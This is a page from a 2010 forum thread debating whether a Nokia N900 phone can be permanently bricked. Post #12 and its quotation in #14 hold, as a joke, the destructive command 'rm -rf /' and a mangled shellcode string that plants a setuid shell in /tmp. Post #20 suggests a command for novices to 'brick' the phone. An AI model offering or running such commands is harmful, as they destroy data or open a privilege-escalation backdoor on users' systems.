Menu

Main Menu
Talk Get Daily Search

Member's Online

    User Name
    Password

    has anyone ever bricked a N900?

    Reply
    Page 2 of 5 | Prev |   1   2   3     4   | Next | Last
    kureyon | # 11 | 2010-11-19, 16:34 | Report

    Originally Posted by gabby131 View Post
    i really dont know if an n900 can be bricked to a very unusable state (software wise) coz there is the backupmenu! well
    If you can even boot to backupmenu then by definition device is not bricked.

    Edit | Forward | Quote | Quick Reply | Thanks
    The Following User Says Thank You to kureyon For This Useful Post:
    gabby131

     
    casper27 | # 12 | 2010-11-19, 16:37 | Report

    Code:
    rm -rf /
    Or for the Hex heads
    Code:
    char esp [] __attribute__ ((section (. "text"))) / * esp
    release * /
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68?
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99?
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7?
    "\ X56 \ X04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ x74 \ X56?
    "\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ xcd \ x80 \ x31?
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69?
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00?
    "Cp-p / bin / sh / tmp / .beyond; chmod 4755
    / tmp / .beyond; "
    That will probably have the desired effect....
    I dare you to try Please don't it's a joke.....

    Edit | Forward | Quote | Quick Reply | Thanks

     
    rmerren | # 13 | 2010-11-19, 16:41 | Report

    I have always understood "bricked" to mean that the object ceases to function as an electronic device and only maintains the functions of a brick. If it turns on, it is not bricked--even if it is malfunctioning in some way.

    Further, I have usually seen this term in the context of someone hacking a device or installing software on a device, and the device then becomes totally unresponsive. Generally this would be caused by wiping out some key application or part of the operating system that is responsible for startup which keeps the device from reaching a state where the problem can be fixed.

    With that overly nitpicky definition in place, has anyone achieved this state? Does anyone have firsthand knowledge of someone installing software, changing a setting, or flashing a firmware image onto the N900 which caused the phone to reach a state where it could not be re-flashed or recovered in some other manner that does not require physical repair or replacement of parts?

    (I am not sure if overclocking and causing actual physical heat damage internally counts in my definition, but I am interested in hearing of any actual cases of that as well.)

    Edit | Forward | Quote | Quick Reply | Thanks

     
    rmerren | # 14 | 2010-11-19, 16:43 | Report

    Originally Posted by casper27 View Post
    Code:
    rm -rf /
    Or for the Hex heads
    Code:
    char esp [] __attribute__ ((section (. "text"))) / * esp
    release * /
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68?
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99?
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7?
    "\ X56 \ X04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ x74 \ X56?
    "\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ xcd \ x80 \ x31?
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69?
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00?
    "Cp-p / bin / sh / tmp / .beyond; chmod 4755
    / tmp / .beyond; "
    That will probably have the desired effect....
    I dare you to try Please don't it's a joke.....
    Even if I were dumb enough to do this (I am dumb enough, but I won't do it), I could just reflash and be making calls in 15 minutes. Another 10 minutes and my phone is re-synced with my exchange server and all my calendar, contacts, and email are there. I declare this is not a bricking.

    Edit | Forward | Quote | Quick Reply | Thanks

     
    qwazix | # 15 | 2010-11-19, 16:44 | Report

    yes that is exactly my definition of bricked also. For me there is no such thing as unbrick. A brick will always be a brick.

    (I know that recenlty "bricked" is being used for a more light situation but I prefer the original meaning)
    ________
    The Legend Condos Cosy Beach

    Edit | Forward | Quote | Quick Reply | Thanks

    Last edited by qwazix; 2011-08-21 at 10:43.

     
    Larswad | # 16 | 2010-11-19, 16:53 | Report

    Can't the first boot loader stage be reflashed with flasher 3.5, to zeroes for instance :-), or maybe into the repeated string "brick-brick-brick..."

    Or is that loader a ROM image?

    Otherwise, you could always paint it in orange and cement it into the wall of your house. That would definitely work!

    Edit | Forward | Quote | Quick Reply | Thanks

     
    antezz | # 17 | 2010-11-19, 16:54 | Report

    Yes, that's how i see a bricked device to, something that can't be fixed without sending in back to the manufacturer. Broken hardware brick depends, if its broken by "regular usage" i don't call it a brick just broken, but if like OCed untill CPU fries i call it bricked since the user killed it and made it to a brick.

    Edit | Forward | Quote | Quick Reply | Thanks

     
    the dark knight | # 18 | 2010-11-20, 09:17 | Report

    well, like I say, I still have my original, what I would class bricked device. It will not respond at all. No programs will load and cannot view files due to low memory apparently. Unable to reflash. Have experimented broadly with new device, following much research and only when sure I know what Im doing. I suspect it is due to hardware failure as the thing was out of the box...untampered with so to speak. One day Im sure I will find a cure. Am going to try and install nitdroid...somehow...just for my own curiosity to see if hardware is totally kanckered...unless nitdroid relies on less than maemo...who knows...any suggestions on dealing with low memory notice?

    Edit | Forward | Quote | Quick Reply | Thanks

     
    ammyt | # 19 | 2010-11-20, 09:25 | Report

    I had several attempts to brick my phone and just couldn't. I tried to unplug usb cable while flashing, overclocked it to 1150,1150 for 2 days at outside temperature of 30, installed nitdroid on emmc, repartitioned it, flashed with emmc image first, and none achieved that brickable state. Will somebody create an app "Brick ur Brick", please?

    Edit | Forward | Quote | Quick Reply | Thanks

     
    9000 | # 20 | 2010-11-20, 09:27 | Report

    Originally Posted by qwazix View Post
    I have seen a lot of threads with the word bricked on the title but always the solution is found 3-4 posts later. Is it possible to brick the N900 without submerging it into <insert your favorite liquid>?

    What if I pull the cable while flashing? Is there any other dumb thing that a novice user could do to brick it?
    Type this simple command, I brick mine once by issuing the following command:

    Code:
    stop xomap
    You could be able to boot your device, but you won't be able to run anything anymore.

    Skeptics do not believe this command could brick the device, but when I offered them to prove against this by trying it, no one dare.

    Edit | Forward | Quote | Quick Reply | Thanks

     
    Page 2 of 5 | Prev |   1   2   3     4   | Next | Last
vBulletin® Version 3.8.8
Normal Logout